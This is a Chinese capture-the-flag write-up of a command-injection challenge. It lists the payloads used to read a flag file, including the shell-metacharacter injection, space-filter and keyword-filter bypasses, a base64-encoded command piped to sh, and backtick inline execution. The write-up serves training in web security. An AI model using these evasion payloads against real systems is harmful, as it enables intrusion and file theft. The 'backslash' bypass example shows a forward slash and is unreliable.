buuctf-[GXYCTF2019]Ping Ping Ping
普通办法
1.这里先进行传参
2.然后继续执行语句
;ls
3.这里试一下cat flag.php
4.这里被过滤了空格
- ${IFS}替换
- $IFS$1替换
- ${IFS替换
- %20替换
- <和<>重定向符替换
- %09替换
这里先用${IFS}来代替
这里不行,再试一下$IFS$1
这里过滤了flag那就试试index.php
到了这里就有一个新的知识点了
这里进行了变量拼接
?ip=1;a=g;cat$IFS$1fla$a.php;
base64编码加管道符
这里用base64编码加命令执行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
前边Y2F0IGZsYWcucGhw是cat flag.php的base64编码.在用base64 -d命令进行执行
1.管道符| |直接执行后面的语句
2.管道符|| ||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3.管道符&
&前面和后面命令都要执行,无论前面真假
最强payload
内敛绕过
内联,就是将反引号内命令的输出作为输入执行。
?ip=127.0.0.1;cat$IFS$1`ls`
其他被过滤的办法
1.单引号,双引号绕过
ca"t fl"ag
但是这道题被ban了
2.反斜线绕过
ca/t fl/ag
这道题反斜线也被ban了
3.$1、$2等和 $@绕过
c$1at gh$@twf01.txt
如果cat被ban了
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容 顺便输出行号
|